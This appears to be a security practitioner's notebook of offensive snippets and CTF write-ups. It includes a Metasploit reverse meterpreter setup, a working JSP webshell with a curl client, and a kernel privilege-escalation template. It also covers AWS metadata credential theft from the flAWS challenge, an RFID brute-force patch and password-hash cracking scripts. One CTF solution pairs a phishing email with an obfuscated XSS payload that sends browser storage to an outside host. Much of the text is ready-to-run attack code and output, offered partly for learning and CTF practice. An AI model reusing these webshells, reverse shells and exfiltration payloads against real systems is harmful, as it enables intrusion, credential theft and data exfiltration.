https://www.youtube.com/watch?v=JhsHGms_7JQ (1:21:51)

# TLS bridge with socat


# openssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -keyout key.pem -out cert.pem
# cat key.pem > server.pem
# cat cert.pem >> server.pem
# socat -v openssl-listen:443,cert=/tmp/server.pem,verify=0,reuseaddr,fork,method=ssl3 ssl:127.0.0.1:1234,verify=0,method=tls1.2

# Cracking PBKDF2WithHmacSHA1/160/128000


# cat crack.py
import base64
import hashlib
import sys

dict = sys.argv[1]
b64e = sys.argv[2]
b64d = base64.b64decode(b64e)
secret = b64d[16:]

f = open(dict)
words = f.read().splitlines()
f.close()

hash_name = 'sha1'
salt = b64d[8:16]
iterations = 128000
dklen = 160 / 8

for word in words:
 dk = hashlib.pbkdf2_hmac(hash_name, word, salt, iterations, dklen)
 if dk == secret:
  print b64e, word
  break

# cat dict.txt
test

# python crack.py dict.txt AAAAoAAB9ADMtinzIX3MlHctwKlZd9XHnTgrworaGp3bNFBp
AAAAoAAB9ADMtinzIX3MlHctwKlZd9XHnTgrworaGp3bNFBp test

References

https://en.wikipedia.org/wiki/PBKDF2
https://docs.python.org/3/library/hashlib.html#key-derivation

# Reverse meterpreter through an internal HTTP proxy server


Attacker's host

msf > use payload/python/meterpreter/reverse_http
msf payload(reverse_http) > set lhost LOCAL_PUBLIC_IP
msf payload(reverse_http) > set lport 80
msf payload(reverse_http) > set payloadproxyhost USERNAME:PASSWORD@INTERNAL_PROXY:IP
msf payload(reverse_http) > set payloadproxyport INTERNAL_PROXY_PORT
msf payload(reverse_http) > generate -b '\x00\xff' -t raw -f met.py

msf > use exploit/multi/handler
msf exploit(handler) > set payload python/meterpreter/reverse_http
msf exploit(handler) > set lhost LOCAL_PUBLIC_IP
msf exploit(handler) > set lport 80
msf exploit(handler) > set payloadproxyhost USERNAME:PASSWORD@INTERNAL_PROXY:IP
msf exploit(handler) > set PayloadProxyPort INTERNAL_PROXY_PORT
msf exploit(handler) > run

Compromised server

# python met.py

# JSP webshell


# cat shell.jsp
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
String getcmd = request.getParameter("cmd");
if (getcmd != null) {
 //out.println("Command: " + getcmd + "<br>");
 String[] cmd = {"/bin/sh", "-c", getcmd};
 Process p = Runtime.getRuntime().exec(cmd);
 OutputStream os = p.getOutputStream();
 InputStream in = p.getInputStream();
 DataInputStream dis = new DataInputStream(in);
 String disr = dis.readLine();
 //out.println("<pre>"); 
 while ( disr != null ) {
  out.println(disr); 
  disr = dis.readLine(); 
 }
 //out.println("</pre>"); 
}
%>
# cat shell.sh
#!/bin/bash

HISTFILE=./file_history
history -r

input=""

while [ "$input" != "exit" ]; do
 read -e -p "> " input
 history -s $input
 curl -k --cookie 'VAR1=VALUE1' --cookie 'VAR2=VALUE2' --data-urlencode "cmd=$input" https://DOMAIN/DIR/shell.jsp
done

history -a

# Kernel exploit template


# cat kernel_exploit.tpt
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <fcntl.h>

typedef int __attribute__((regparm(3))) (*commit_creds_t)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_t)(unsigned long cred);

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

void *get_ksym(char *name) {
 FILE *f = fopen("/proc/kallsyms", "rb");
 char c, sym[512];
 void *addr;
 int ret;

 while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0)
  if (!strcmp(sym, name))
   return addr;

 return NULL;
}

void get_root() {
 commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char *argv[]) {

 prepare_kernel_cred = get_ksym("prepare_kernel_cred");
  commit_creds     = get_ksym("commit_creds");

 printf("[+] addr prepare_kernel_cred: %p\n", prepare_kernel_cred);
 printf("[+] addr commit_creds: %p\n", commit_creds);
 printf("[+] addr get_root: %p\n", get_root);

 // == Exploit code ==
 // Buffer overflow
 //   EIP = get_root
 // Null pointer dereference
 //   mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
 //   memcpy(mem, get_root, 0x1000);

 if (!getuid()) {
  char *shell = "/bin/sh";
  char *args[] = {shell, "-i", NULL};
  execve(shell, args, NULL);
 }

 return 0;
}

# flAWS challenge


Level 1: Directory (bucket) listing - Everyone

# # --no-sign-request: Do not sign requests. Credentials will not be loaded if this argument is provided.
# # --region (string): The region to use. Overrides config/env settings.
# aws --no-sign-request --region us-west-2 s3 ls s3://flaws.cloud/
# aws --no-sign-request --region us-west-2 s3 cp s3://flaws.cloud/secret-dd02c7c.html .
# cat secret-dd02c7c.html

Level 2: Directory (bucket) listing - Any authenticated AWS user

# aws --profile level2 configure
# aws s3 --profile level2 --region us-west-2 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
# aws s3 --profile level2 --region us-west-2 cp s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html .
# cat secret-e4443fc.html

Level 3: AWS keys leaked

# aws s3 --no-sign-request --region us-west-2 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
# aws s3 --no-sign-request --region us-west-2 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git .git
# git log
# git checkout f7cebc46b471ca9838a0bdd1074bb498a3f84c87
# cat secret
# aws --profile level3 configure
# aws --profile level3 s3 ls

Level 4: Public snapshot as a backup

# aws --profile level3 --region us-west-2 sts get-caller-identity
# aws --profile level3 --region us-west-2 ec2 describe-snapshots --owner-id 975426262029
# aws --profile level2 --region us-west-2 ec2 create-volume --availability-zone us-west-2a --snapshot-id snap-0b49342abd1bdcb89
# aws --profile level2 ec2 describe-volumes --region=us-west-2
# aws --profile level2 --region us-west-2 ec2 create-security-group --group-name devenv-sg --description 'My security group'
# aws --profile level2 --region us-west-2 ec2 authorize-security-group-ingress --group-name devenv-sg --protocol tcp --port 22 --cidr 0.0.0.0/0
# aws --profile level2 --region us-west-2 ec2 create-key-pair --key-name devenv-key --query 'KeyMaterial' --output text > devenv-key.pem
# aws --profile level2 --region us-west-2 ec2 run-instances --image-id ami-29ebb519 --security-group-ids sg-xxxxxxxx --count 1 --instance-type t1.micro --key-name devenv-key --query 'Instances[0].InstanceId'
# ssh -i devenv-key.pem ubuntu@ip
# mount /dev/xvdb1 /mnt
# cat /mnt/home/ubuntu/setupNginx.sh

Level 5: Metadata at 169.254.169.254

# curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
# echo "aws_session_token = xx" >> .aws/credentials
# aws --profile level5 s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud

Level 6: SecurityAudit policy attached

# aws --profile level6 configure
# aws --profile level6 --region us-west-2 iam get-user
# aws --profile level6 --region us-west-2 iam list-attached-user-policies --user-name Level6
# aws --profile level6 --region us-west-2 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
# aws --profile level6 --region us-west-2 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
# aws --profile level6 --region us-west-2 lambda list-functions
# aws --profile level6 --region us-west-2 lambda get-policy --function-name Level6
# aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id 's33ppypa75'
# restapiid='s33ppypa75'
# region='us-west-2'
# stagename='Prod'
# functionname='level6'
# curl -k https://$restapiid.execute-api.$region.amazonaws.com/$stagename/$functionname

Reference

https://summitroute.com/blog/2017/02/26/flaws_challenge/

# Patching proxmark3 to brute force HF tags


Patching and flashing
# git clone https://github.com/Proxmark/proxmark3.git
# cd proxmark3/armsrc
# sed '/#include "protocols.h"/ a #include "usb_cdc.h"' iso14443a.c
# sed -i 's/if(BUTTON_PRESS())/if(BUTTON_PRESS() || (usb_poll_validate_length() ))/g' iso14443a.c
# cd ..
# make
# client/flasher /dev/cu.usbmodem1421 armsrc/obj/fullimage.elf

Brute forcing

# for i in `seq 0 255`; do uid=`printf '%08x\n' $i`; echo "hf 14a sim 1 $uid" | client/proxmark3; sleep 3; done

References

http://www.proxmark.org/forum/viewtopic.php?id=2347
https://github.com/Proxmark/proxmark3/pull/77/files

# CodeGate 2017 CTF: EasyCrack 101 - rev - 325 pts



# cat easycrack101.py
import angr, claripy
import r2pipe

for i in xrange(1, 101 + 1):
 fn = 'prob' + str(i)
 r2 = r2pipe.open(filename = fn)
 to_find  = int(r2.cmd('/c mov edi~Good[0]'), 16)
 to_avoid = int(r2.cmd('/c mov edi~No[0]'), 16)
 #print to_find, to_avoid
 p = angr.Project(fn)
 key = claripy.BVS('key', 50 * 8)
 es = p.factory.entry_state(args=[fn, key])
 pg = p.factory.path_group(es)
 ex = pg.explore(find = to_find, avoid = to_avoid)
 found = ex.found[0]
 key = found.state.se.any_str(key).replace('\x00', '')
 print fn + ' = ' + key

# python easycrack101.py
prob1 = T}gTRvNZAK_Exv^vqpDwCW
prob2 = }hGafk~acCtypkaEoi||f}tzsr
prob3 = ELFT[^MYLINQMI_FQFYKOOZ^U
prob4 = <D8;F9G?:0A01?E8@A92
prob5 = JI^pYCXpFZuS[STOZWqvVJFWW
prob6 = 0:B3:91[Y&7913F_30OZ
prob7 = WIVT|ANQCKACJLPRWJ}RRBA
prob8 = 1:5=926;:7696040678854
prob9 = WUYUYYSYQPSMURTWRVPWVRSXXSZY
prob10 = MSTBCCMSWNMTMMDO@UJSOLLMSAT
prob11 = BD92A76;@D>>6E8FG05?F?G6C
prob12 = DEEEDDEDEDDEDEEEEDDDEDEEEED
prob13 = I@P}Y|mB|x@MuXAl|u_RoxCn|jD
prob14 = 5??;>>:<95;>845?9;:8:?4
prob15 = GAGA@GGAG@@G@AAA@A@A@AAAG
prob16 = LDLFDBNLALGOCDFOCAMGLDFJMBO
prob17 = ELZyoZRiERGGxpSNH~R]qtwWEo@o
prob18 = FEB{E{zBFFD}DFEB@@zzCF{xB
prob19 = ;;:;;:;:;:;:;;;::::;:;;:;::
prob20 = vnbcwgqsuefggl|mpqboic
prob21 = HLLLILJHHJJHIKHJMMHK
prob22 = RQyBKyODWSDIEGQNSMSOTFHO
prob23 = 5676;13=;+;5+=0;<><6:859>:08
prob24 = ^<.:Q%.)W,.><VS,$8:7X55=*U/%
prob25 = >:?<:<??>?>>=>>>=<:=
prob26 = ===9=<:=><=<=?=;89?8::??<
prob27 = Kptq~HqIIwKrHrprs~vw
prob28 = SSPRWPkVRkRkRkQRVSPVU
prob29 = J464=D>5.OAGRJ472*)TIT:J=
prob30 = ALMNBBOJqNDODKBrHO__GrIqMOMK
prob31 = 5+0356*=3?5=+2=>5>67845
prob32 = 161=5=?32<?2=211?><3:;11
prob33 = ppvqppqvppqvvqpqqqqvqpqvqvpvq
prob34 = @RxjcJkdpO}[pIJiFGUtnhKTvay
prob35 = hSZFDatdwHvTo_hbhMEMHN[
prob36 = VO^AP_EUSSR@VLANHQSMCTKANWT@A
prob37 = CFCAFKLLFCAMMFNAOEBLAEL@E
prob38 = xmo~zclqi}mdgwf{oovqmbpucto
prob39 = MJEQFIRDRLKOJIEPIOOGWQFN
prob40 = uwsuptquzwzzqwxp~zzu~y
prob41 = )+*/,*)-.,..)+,-).-)-
prob42 = HOHOOOHHHOOOOHHOOOOOHOHHHHOOO
prob43 = YMNJMGFOFODYAJDOL@OAMMNYBJDGO
prob44 = -)--,.(*)/)..*.-,)-(..-
prob45 = bskndsifjscahcklhppaq
prob46 = CGFGGCFHCFEFCEEDGGEFDFCH
prob47 = DTOIFLYFUD@OZPGPRDLXT
prob48 = WtFGGP^^@LuCCE^YuKAYIO
prob49 = 0q7a>>>B<gDwPFpi_5AbxwX
prob50 = TB@YZKTYYEPSNP@OAK@YHG
prob51 = 5?254=5822<??8=43556826<834
prob52 = NMIIJMMKHOKMMLOMKLLMKLNOJKLNM
prob53 = 792<=>75=9=4<52;=6219:9:;9=<
prob54 = :4(&>)3+;3&.15=3?%=6
prob55 = NLGDGJOHLMLEKFHEHMDFLNMKIFMNI
prob56 = uwuuvwuwvvvwwvuvuwwvwvuuvvuv
prob57 = @DRS@UBRPWXUIJPBNK{WOyAZWZFSX
prob58 = NIAFK{HBJ|qNC|CzDCzNpNTTKpM
prob59 = jroo|zniylzuxs}rtymoqkr
prob60 = ;8::<<=:;;:8;<;>;;;=<<;:
prob61 = TTKUUTKKKTUUTKUTKTKUUUTKUTKKT
prob62 = uOlWq^~nQN^crr@hXShtOD
prob63 = bNw~_z}~AHbrk{XBeH_}
prob64 = EDEDDEEDEDEDDEEEDDDEDEEDEDE
prob65 = SfhUoj[PkRhlVSQVZRhhS[PQVe
prob66 = rsrqiqooolilnqmqnnmonmho
prob67 = -15w(=b(a{lok2vTh>j-Ho
prob68 = SSRQSSSRQSSSSSSRQSRQQRSSQR
prob69 = hiihhihihihiiihhhhhi
prob70 = qtqtohp}}rijjwvr|qr|}nrq
prob71 = ?SYRE]CP2UDOH/k46N5J#
prob72 = <#lf-7,=H#172t.Yye2)Fl_Vh&
prob73 = Wbov~zqg[IZ}jxwvf}FYR[aY
prob74 = cccccccccccccccccccccc
prob75 = NFPiOYZvKYEW^bgRmBAM
prob76 = UjJb,U+)**UzF1pj2bx{ls
prob77 = HNEMpINJzGJHYLnHbYzMqNKO
prob78 = IIIOHONOHOOHIOHOOHOIHI
prob79 = MLOOLLNONNOOMOLNILNNOM
prob80 = deba5:Jnv|Eb?4>kBXnRf[L|?I
prob81 = _XON^]LNO^CLD[[LJZZL]]MFO
prob82 = nhimninlmnmmlonionnmlhloolnh
prob83 = SYVK]YOGvSCrOCuR_FTQ@qu]w^wX
prob84 = GGNDAFAD@D@EODMNGNBOGLFMMO
prob85 = 6(1:*2<9=37>.)7788+97/41
prob86 = 8E3>4/3K2=AKF+-*G91,9/
prob87 = WTRUUTU]RWW_]S]]PRQQV
prob88 = LJ@XFL^ETLC_Y@UMZWQ@Z_AYTMZP
prob89 = ckakcocoldcnocaeoejjk
prob90 = QTRUQ^QTUUUUQTUTQTQSTSSRP
prob91 = C@KE@N@FGKDG@AAMCLONN
prob92 = CMISDCN@@G@HIPKBRPP@PPNHC
prob93 = DGDGEFDDGGDDGDFEEEFFEEFG
prob94 = vvvvvvvvvvvvvvvvvvvvvvvvvv
prob95 = x]zweUnmcDEFyVbyF|SWlU
prob96 = TTU_U__T[^YUY[_^U[XT^T^__[Z[
prob97 = 10111010011101110010111101010
prob98 = qtuqtvwtqtvtqpwwttqutvttut
prob99 = W(,T,*V),(URW-W-UT*,,R+*
prob100 = m9-9r9/VA4&8BM=R*+OMrgf
prob101 = ttvwtjivikitiivjvsuisjukthki

# HTTP security headers


X-XSS-Protection

X-XSS-Protection: 0; // no protection
X-XSS-Protection: 1; // filters xss but renders the page
X-XSS-Protection: 1; mode=block // blocks the page

Protection against reflected xss.

Content Security Policy

Content-Security-Policy: <policy>

Protection against xss. Controls what resources are allowed to load.

HTTP Strict Transport Security (HSTS)

Strict-Transport-Security: max-age=<expire-time>
Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
Strict-Transport-Security: max-age=<expire-time>; preload // Use a preload list

Connections to the site will use HTTPS, except the first one, if preload is not used.

HTTP Public Key Pinning (HPKP)

Public-Key-Pins: pin-sha256=<base64>; max-age=<expireTime>;
Public-Key-Pins: pin-sha256=<base64>; max-age=<expireTime>; includeSubDomains
Public-Key-Pins: pin-sha256=<base64>; max-age=<expireTime>; report-uri=<reportURI>

Dynamic pinning. Check if the certificate matches the pins stored.

X-Frame-Options

X-Frame-Options: DENY // No one can put the page in an iframe
X-Frame-Options: SAMEORIGIN // Only from the same site
X-Frame-Options: ALLOW-FROM https://example.com/

Avoids clickjacking attack.

X-Content-Type-Options

X-Content-Type-Options: nosniff;

Solves the "MIME sniffing" problem.

Referer-Policy

Referrer-Policy: <policy>

Allows you to specify when the browser will set a referer header

Cookies Options

Set-Cookie: <key>=<value>; Expires=<expiryDate>; Secure; HttpOnly; SameSite=strict
// Secure: only sent over HTTPS
// HttpOnly: can not be accessed from javascript
// SameSite: lax or strict. Defends against Cross-Origin Request Forgery (CSRF)

References

https://blog.appcanary.com/2017/http-security-headers.html
https://securityheaders.io

# AlexCTF: CR5: Bring weakness - 300 pts


Get random numbers

# cat get.py 
from pwn import *

host = '195.154.53.62'
port = 7412

def give_me_the_next_number():
 r.sendlineafter('2: Give me the next number\n', '2')
 number = int(r.recvline())
 return number

r = remote(host, port)

for i in xrange(4):
 print give_me_the_next_number()

r.close()
# python get.py
855109115
895402096
2391280583
300480802

Linear congruential generator

random_n+1 = ((a * random_n) + c) % m
a = multiplier
c = increment
m = modulus

Get modulus

# cat get_modulus.py
from pwn import *

host = '195.154.53.62'
port = 7412

def give_me_the_next_number():
 r.sendlineafter('2: Give me the next number\n', '2')
 number = int(r.recvline())
 return number

def egcd(a, b):
 if a == 0:
  return (b, 0, 1)
 else:
  g, y, x = egcd(b % a, a)
 return (g, x - (b // a) * y, y)

results = []

for i in xrange(20):
 r = remote(host, port)
 last = give_me_the_next_number()
 current = give_me_the_next_number()
 tn = current - last
 last = current
 current = give_me_the_next_number()
 tn1 = current - last
 last = current
 current = give_me_the_next_number()
 tn2 = current - last
 u = abs(tn2*tn - tn1**2) # Important
 r.close()
 results.append(u)

print results

for i in xrange(0, 19):
 print egcd(results[i], results[i+1])[0]

# python get_modulus.py
[312571317250000395, 2949916660717308525, 640738713015133065, 435603004762385760, 2439656571633178950, 11411209872061185300L, 6407385815891338380, 610020832043386185, 1779427408702485555, 149150577634188375, 3371733426053132880, 402697709832197265, 2394242682672509175, 854013216788180865, 829159057095801915, 2030937970488420525, 9719562562552278360L, 4544082617950022895, 157160975107204845, 5385743285459484420L]
12884901885
12884901885
4294967295
8589934590
42949672950
17179869180
4294967295
4294967295
4294967295
4294967295
4294967295
4294967295
55834574835
4294967295
30064771065
4294967295
12884901885
244813135815
12884901885

Modulus = 4294967295 == 2**32 -1

Solve the equation with Wolfram Alfa and get (a, c)

r0 = 855109115
r1 = 895402096
r2 = 2391280583
r3 = 300480802
m = 4294967295
r1 = ((a*r0) + b) mod m
r2 = ((a*r1) + b) mod m
r3 = ((a*r2) + b) mod m

a = 6771334847
c = 6621298821

Get the flag

# cat get_flag.py
from pwn import *

host = '195.154.53.62'
port = 7412

def give_me_the_next_number():
 r.sendlineafter('2: Give me the next number\n', '2')
 number = int(r.recvline())
 return number

def guess_the_next_number(number):
 next = lcg(number)
 r.sendlineafter('2: Give me the next number\n', '1')
 r.sendlineafter('Next number (in decimal) is\n', str(next))
 return next

def lcg(seed):
 a = 6771334847
 c = 6621298821
 m = 4294967295
 return ((seed * a) + c) % m

r = remote(host, port)

seed = give_me_the_next_number()

for i in range(10):
 print seed
 seed = guess_the_next_number(seed)

print r.recvline()
r.close()

# python get_flag.py
604672456
322278383
3842182927
2626463750
2042127376
830485493
3402655117
2936071940
3380135806
3463756493
flag is ALEXCTF{f0cfad89693ec6787a75fa4e53d8bdb5}

References

https://en.wikipedia.org/wiki/Linear_congruential_generator
http://security.stackexchange.com/questions/4268/cracking-a-linear-congruential-generator

# AlexCTF: CR4: Poor RSA - 200 pts


Get modulus and exponent from public key

# openssl rsa -pubin -inform PEM -text -noout < key.pub
Public-Key: (399 bit)
Modulus:
    52:a9:9e:24:9e:e7:cf:3c:0c:bf:96:3a:00:96:61:
    77:2b:c9:cd:f6:e1:e3:fb:fc:6e:44:a0:7a:5e:0f:
    89:44:57:a9:f8:1c:3a:e1:32:ac:56:83:d3:5b:28:
    ba:5c:32:42:43
Exponent: 65537 (0x10001)

Factor the modulus with factordb

# python -c 'print 0x52a99e249ee7cf3c0cbf963a009661772bc9cdf6e1e3fbfc6e44a07a5e0f894457a9f81c3ae132ac5683d35b28ba5c324243'
833810193564967701912362955539789451139872863794534923259743419423089229206473091408403560311191545764221310666338878019
863653476616376575308866344984576466644942572246900013156919
965445304326998194798282228842484732438457170595999523426901

Generate a private key and decrypt the flag

# ipython

In [1]: import gmpy

In [2]: p = 863653476616376575308866344984576466644942572246900013156919

In [3]: q = 965445304326998194798282228842484732438457170595999523426901

In [4]: e = 65537L

In [5]: d = long(gmpy.invert(e,(p-1)*(q-1)))

In [6]: n = p * q

In [7]: from Crypto.PublicKey import RSA

In [8]: key = RSA.construct((n,e,d))

In [9: f = open('flag.b64')

In [10]: edata = f.read()

In [11]: f.close()

In [12]: import base64

In [13]: key.decrypt(base64.b64decode(edata))
Out[13]: 'ALEXCTF{SMALL_PRIMES_ARE_BAD}'

# AlexCTF: RE4: unVM me - 250 pts


Decompilation

# uncompyle unvm_me.pyc > source.py
# cat source.py
import md5
md5s = [174282896860968005525213562254350376167L, 137092044126081477479435678296496849608L, 126300127609096051658061491018211963916L, 314989972419727999226545215739316729360L, 256525866025901597224592941642385934114L, 115141138810151571209618282728408211053L, 8705973470942652577929336993839061582L, 256697681645515528548061291580728800189L, 39818552652170274340851144295913091599L, 65313561977812018046200997898904313350L, 230909080238053318105407334248228870753L, 196125799557195268866757688147870815374L, 74874145132345503095307276614727915885L]
print 'Can you turn me back to python ? ...'
flag = raw_input('well as you wish.. what is the flag: ')
if len(flag) > 69:
    print 'nice try'
    exit()
if len(flag) % 5 != 0:
    print 'nice try'
    exit()
for i in range(0, len(flag), 5):
    s = flag[i:i + 5]
    if int('0x' + md5.new(s).hexdigest(), 16) != md5s[i / 5]:
        print 'nice try'
        exit()

print 'Congratz now you have the flag'

Generate the wordlist

# crunch 5 5 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{} > md5.txt

Get the flag

# cat crack.py
import md5

imd5 = [174282896860968005525213562254350376167L, 137092044126081477479435678296496849608L, 126300127609096051658061491018211963916L, 314989972419727999226545215739316729360L, 256525866025901597224592941642385934114L, 115141138810151571209618282728408211053L, 8705973470942652577929336993839061582L, 256697681645515528548061291580728800189L, 39818552652170274340851144295913091599L, 65313561977812018046200997898904313350L, 230909080238053318105407334248228870753L, 196125799557195268866757688147870815374L, 74874145132345503095307276614727915885L]

hmd5 = []
for i in imd5:
 r = hex(i)[2:-1]
 if len(r) != 32:
  r = '0' + r
 hmd5.append(r)

with open("md5.txt", "r") as ins:
 for line in ins:
  line = line[:-1]
  m = md5.new(line).hexdigest()
  if m in hmd5:
   print line, hmd5.index(m)
for i in hmd5:
 print i

# python crack.py
1n52n 8
28n4b 11
43s8d 4
5d4s2 2
6v3k} 12
81h3d 10
8l6m1 5
ALEXC 0
TF{dv 1
ds9v4 7
n5l67 6
v37j4 9
vj8nk 3
ALEXCTF{dv5d4s2vj8nk43s8d8l6m1n5l67ds9v41n52nv37j481h3d28n4b6v3k}

# InsomniHack teaser 2k17: The Great Escape - part 2 - forensics - 200 pts


# ./certbot-auto

# cat phishing.py
from pwn import *

host = 'ssc.teaser.insomnihack.ch'
port = 25

r = remote(host, port)

expect = '(Ubuntu)'
line = 'ehlo ip-172-31-36-141.eu-west-1.compute.internal'
r.sendlineafter(expect, line)
expect = '250 SMTPUTF8'
line = 'mail FROM:<gr27@ssc.teaser.insomnihack.ch>'
r.sendlineafter(expect, line)
expect = 'Ok'
line = 'rcpt TO:<rogue@ssc.teaser.insomnihack.ch>'
r.sendlineafter(expect, line)
expect = 'Ok'
line = 'data'
r.sendlineafter(expect, line)
expect = '.<CR><LF>'
line = '''Content-Type: multipart/mixed; boundary="===============5398474817237612449=="
MIME-Version: 1.0
From: gr27@ssc.teaser.insomnihack.ch
To: rogue@ssc.teaser.insomnihack.ch
Date: Fri, 20 Jan 2017 11:51:27 +0000
Subject: Good links

--===============5398474817237612449==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

Hello Rogue,

https://thegreatescape2.ddns.net/links.html

GR-27

--===============5398474817237612449==--
.\r\n'''
r.sendlineafter(expect, line)

# cat /var/www/html/links.html
<html>
     <form id="1234" action="https://ssc.teaser.insomnihack.ch/api/user.php" method="post">
          <input name="action" value="login" />
   <input name="name" value="<img src='a' onerror='javascript:document.write(String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,100,97,116,97,32,61,32,39,39,59,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,108,111,99,97,108,83,116,111,114,97,103,101,41,123,32,100,97,116,97,32,43,61,32,108,111,99,97,108,83,116,111,114,97,103,101,46,103,101,116,73,116,101,109,40,107,101,121,41,125,118,97,114,32,104,116,116,112,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,104,116,116,112,46,111,112,101,110,40,39,71,69,84,39,44,32,39,104,116,116,112,115,58,47,47,116,104,101,103,114,101,97,116,101,115,99,97,112,101,50,46,100,100,110,115,46,110,101,116,47,103,101,116,46,104,116,109,108,63,108,115,61,39,32,43,32,100,97,116,97,44,32,116,114,117,101,41,59,104,116,116,112,46,115,101,110,100,40,41,59,60,47,115,99,114,105,112,116,62))'/>"/>
         <input name="password" value="tge2"/>
        </form>
</html>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script>
<script type="text/javascript">
  $(document).ready(function() {
       window.document.forms[0].submit();
         });
</script>

# python phishing.py
[+] Opening connection to ssc.teaser.insomnihack.ch on port 25: Done
[*] Closed connection to ssc.teaser.insomnihack.ch port 25

# tail -f /var/log/apache2/access.log
52.214.142.175 - - [29/Jan/2017:09:27:14 +0000] "GET /links.html HTTP/1.1" 200 4202 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0"
52.214.142.175 - - [29/Jan/2017:09:27:15 +0000] "GET /get.html?ls=INS{IhideMyVulnsWithCrypto}{"alg":"RSA-OAEP-256","d":"CFSPW_AU_cK07bOtdnzbj5MgBqdweDY04Ku-mHSrAIbDv3J_lHH-jCPQb5U2JR4v08eMXlz3AassULQr60rskdwjdPN7Nen15yRcRTsaoSyRTd2qM8O_U-K6Gy7Lvg_ld2HOlHNBBy2k8g8cP7cpjyy7Ebsk5MUNy_udx9aMs7497RaIrCFnpT7RztudkYBo_2Oy5xm6BcsV9059HBhbKbUqq6Ui9_BZ3H7sdwTqlYx3afVV5AgE61eEdWK7vK_yI65Ru_5_fOBWik7xf7fwPjf7COp1HfTZiFbCIWTUaXVe6ThfMoTdwT1wQ0wwuFdtpGTkk8d4XwGtDa8-_XbmIQ","dp":"hapJ7dlVsPvF9no_s-Nfnpv2dZ5a5_C2AyPo_-_mVi4-1a7HTkW9SyGg1KextCPYRAwQZ1wU3bL6P_4TjkrYiAAl-8Iq6moUqWuRY7G8vo3N_P3aBwjgyNTzk3eHfnUFP4QgGOooT2ZwyuDTDSbwKOesnD13q4U_vjtjcZaFU70","dq":"Ts_hwWPsLOjp-yJg0wbQEONeqbvNPLCChb5QJItXvUaL2JcN9muozrN1GZqu383-h8gZ-VUm3-CFU7OWeGYLa0PZlq1uGNvsdffgdNL3MYZ2KwMhXkwXKf45ePhx_ydiblYhb44cFtm0ffXKSPlvbyzLHvJ2_o8ggok0Lzu-weE","e":"AQAB","ext":true,"key_ops":["decrypt"],"kty":"RSA","n":"qx_U0OgHUPC6n4RcE_q1ONcEgKp4tcbLWeUIfrlRAcX64alQSpddAv98CHo2ziSBgi7tS-HwUsVlH06Nxaa0tx3SdM0cz95IkvjB_kqdPnHEwyx8iz5Gh8ZHP32ZoETBs2PzxTIcEOekm1qQnA0MTdvAAO0xcvuvhRM2YycRYfN860NsBCRrF25lZn9DTGBDnisCm0-xvElxAZ8gObWeJ1SZRgFRJwI14d11oa922drFp0ux4MHscls2tEjPV7eXdivjGYI-uzVX61fjyUdGxFeb8CAjxrzOmw4f1Aac7kqXwmF-eMq3AMKm2tArrIIjT4t2q2mP1FXImrNQ_vinVQ","p":"29_YD0m-NFoUTmst33E4p2VBDlCeQ1MJdr_7tO4ERF8aww0e8hu3jRq5PMHCEc8G8gA4q2kuXylIpaB5mWzcQplDDMgIDGupEnL_J0ynMcg-HUld8NDaya7mQWtLHvSEAoB-2MymBTJYaTwsvAYtTI8ruaqhMo4-cKjs5zQfmj0","q":"xz2B2WzMdesiDK7dzorVdJlBgIShj2cMRGwhXcSiWfbY2M4Y3DB_m8p5tdEUIU6g0oWbSfmaYF_MsQxijXRxxe17nuYssns2ue4hYm2xH4mTY6voeNhbOeu7LtOXepUWxN-5520suTvL74Lx9xwWrdeTGIF1_zECqbWRuFieSvk","qi":"VhY5UYLTv20Btpq4MlizFPSuuItbfmK61P0rqEXe-sYHTitMNDBOWDSwIqj4pHkDTFaOCG0o6z81MyVg_bmz2ODzkHDrJUeiOVSMISxlaeSRf2JhiVYMfXiWKJBGCP-PgWuHp5NwLwESZT3aZ0KBYSkE7jnfcttWbc0mYu1glWg"}{"alg":"RSA-OAEP-256","e":"AQAB","ext":true,"key_ops":["encrypt"],"kty":"RSA","n":"qx_U0OgHUPC6n4RcE_q1ONcEgKp4tcbLWeUIfrlRAcX64alQSpddAv98CHo2ziSBgi7tS-HwUsVlH06Nxaa0tx3SdM0cz95IkvjB_kqdPnHEwyx8iz5Gh8ZHP32ZoETBs2PzxTIcEOekm1qQnA0MTdvAAO0xcvuvhRM2YycRYfN860NsBCRrF25lZn9DTGBDnisCm0-xvElxAZ8gObWeJ1SZRgFRJwI14d11oa922drFp0ux4MHscls2tEjPV7eXdivjGYI-uzVX61fjyUdGxFeb8CAjxrzOmw4f1Aac7kqXwmF-eMq3AMKm2tArrIIjT4t2q2mP1FXImrNQ_vinVQ"}nullnullnullnullnullnull 